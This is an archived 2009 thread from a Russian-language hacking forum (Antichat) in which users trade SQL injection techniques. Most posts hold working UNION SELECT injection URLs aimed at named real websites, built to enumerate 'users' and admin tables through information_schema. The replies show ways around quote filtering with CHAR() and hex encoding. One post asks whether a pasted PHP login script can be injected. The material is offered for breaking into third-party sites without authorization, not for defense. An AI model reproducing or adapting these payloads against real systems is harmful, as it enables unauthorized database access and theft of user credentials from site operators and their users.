ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #6061  
Старый 18.03.2009, 18:19
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


Отправить сообщение для Велемир с помощью ICQ
По умолчанию

Порылся в исходном коде...вот:

PHP код:

session_set_cookie_params
(3600);
session_start();

if(isset(
$_SESSION['username']) && strlen($_SESSION['username']) && isset($_SESSION['password']) && strlen($_SESSION['password']))
{
    
$s_username $_SESSION['username'];
    
$s_password $_SESSION['password'];

    include(
"include/mysql_connect.php");

    
$result mysql_query("SELECT user_id, level FROM Users WHERE username='$s_username' && password=Password('$s_password')");
    while(
$row mysql_fetch_array($result))
    {
        
$userid $row["user_id"];
        
$s_user_id $row["user_id"];
        
$s_level $row["level"];
    }
    
$num mysql_num_rows($result);

    if(
$num == 0)
    {
        
header("Location: error2.php");
        exit();
    }
    elseif(
$num == 1)
    {
        
$course_id $_REQUEST['course_id'];
        if(!
is_numeric($course_id))
        {
            
$course_id 0;
        }
        if(
$s_level == 0)
        {
            
$result1 mysql_query("SELECT * FROM Courses_Users WHERE user_id='$s_user_id' && course_id='$course_id'");
            
$num_c mysql_num_rows($result1);
        }
        if(
$s_level 0)
        {
            
$result1 mysql_query("SELECT * FROM Courses WHERE teacher='$s_user_id' && course_id='$course_id'");
            
$num_c mysql_num_rows($result1);
        }

        
$num_c mysql_num_rows($result1);

        if(
$num_c == 0)
        {
            
header("Location: error2.php");
            exit();
        }
    }
    else
    {
        
header("Location: index.php");
        exit();
    }
}
else
{
    
header("Location: index.php");
    exit();
}
?> 
Реально ли здесь провести sql inj ? Проверок нету,разве что на существование.

И ещё вопросег: там проверка course_id идёт только на то.является ли значение числом...можно ли это обойти ?

Последний раз редактировалось Велемир; 18.03.2009 в 18:22..
 
Ответить с цитированием

  #6062  
Старый 18.03.2009, 18:23
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


Отправить сообщение для Велемир с помощью ICQ
По умолчанию

Офф имеется...А при mysql_quotes_gpc = On какой был бы вариант ?

ЗЫ: на этапе $s_username = $_SESSION['username']; можно вместо username подставить запрос?

Последний раз редактировалось Велемир; 18.03.2009 в 18:25..
 
Ответить с цитированием

  #6063  
Старый 18.03.2009, 18:24
Byrger
Постоянный
Регистрация: 07.03.2008
Сообщений: 479
Провел на форуме:
791766

Репутация: 61
По умолчанию

Почему возникает ошибка при таком запросе?
Что-то в синтаксисе не так?

PHP код:
http://www.moviead.com/display.cfm?id=-1+union+select+1,2,3,COLUMN_NAME,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='users'+LIMIT+1,1-- 
 
Ответить с цитированием

  #6064  
Старый 18.03.2009, 18:25
AkyHa_MaTaTa
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
Провел на форуме:
3152874

Репутация: 1020


Отправить сообщение для AkyHa_MaTaTa с помощью ICQ
По умолчанию

Цитата:
Сообщение от Велемир  
Реально ли здесь провести sql inj ? Проверок нету,разве что на существование.

И ещё вопросег: там проверка course_id идёт только на то.является ли значение числом...можно ли это обойти ?
Сессия храниться на сервере со всеми данными а пользователь лишь передает ее индетификатор, так что думай

2Byrger без кавычек
Unknown column 'users' in 'where clause'

Последний раз редактировалось AkyHa_MaTaTa; 18.03.2009 в 18:30..
 
Ответить с цитированием

  #6065  
Старый 18.03.2009, 18:28
Rubaka
Участник форума
Регистрация: 02.09.2007
Сообщений: 292
Провел на форуме:
3659973

Репутация: 466
Отправить сообщение для Rubaka с помощью ICQ
По умолчанию

2 Byrger
А ты кавычки ' замени на "

http://www.moviead.com/display.cfm?id=-1+union+select+1,2,3,COLUMN_NAME,5,6,7,8,9,10,11,1 2+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME =%22users%22+LIMIT+1,1--

типа так!
 
Ответить с цитированием

  #6066  
Старый 18.03.2009, 18:28
sj666
Новичок
Регистрация: 15.12.2008
Сообщений: 11
Провел на форуме:
36737

Репутация: 6
По умолчанию

Мм, я недавно начал заниматься sql inj поэтому туплю маленько.
Вот например пытаюсь подобрать кол-во столбцов в db_galery
http://www.danieldefo.ru/gallery.html?top=1;-- UNION SELECT 1 --
Ошибки нет, возвращается так же страница =\
 
Ответить с цитированием

  #6067  
Старый 18.03.2009, 18:28
geezer.code
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
Провел на форуме:
7452489

Репутация: 1359


По умолчанию

Цитата:
Сообщение от Byrger  
Почему возникает ошибка при таком запросе?
Что-то в синтаксисе не так?

PHP код:
http://www.moviead.com/display.cfm?id=-1+union+select+1,2,3,COLUMN_NAME,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='users'+LIMIT+1,1-- 
http://www.moviead.com/display.cfm?id=-1+union+select+1,2,3,COLUMN_NAME,5,6,7,8,9,10,11,1 2+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME =CHAR(117,115,101,114,115)+LIMIT+1,1--
 
Ответить с цитированием

  #6068  
Старый 18.03.2009, 18:56
Byrger
Постоянный
Регистрация: 07.03.2008
Сообщений: 479
Провел на форуме:
791766

Репутация: 61
По умолчанию

Цитата:
http://supertractor.ru/index.php?rshow=price&act=viewcat&cid=-1+union+select+1,COLUMN_NAME,3,4+FROM+information_ schema.columns+WHERE+table_name=%22mailing_admin%2 2--
А тут почему не читает? (слепая скуля)
 
Ответить с цитированием

  #6069  
Старый 18.03.2009, 18:58
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

http://supertractor.ru/index.php?rshow=price&act=viewcat&cid=-1+union+select+1,COLUMN_NAME,3,4+FROM+information_ schema.columns+WHERE+table_name=0x6d61696c696e675f 61646d696e--
 
Ответить с цитированием

  #6070  
Старый 18.03.2009, 18:59
Byrger
Постоянный
Регистрация: 07.03.2008
Сообщений: 479
Провел на форуме:
791766

Репутация: 61
По умолчанию

Цитата:
Сообщение от Pashkela  
http://supertractor.ru/index.php?rshow=price&act=viewcat&cid=-1+union+select+1,COLUMN_NAME,3,4+FROM+information_ schema.columns+WHERE+table_name=0x6d61696c696e675f 61646d696e--
А где переводить в такую бяку?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ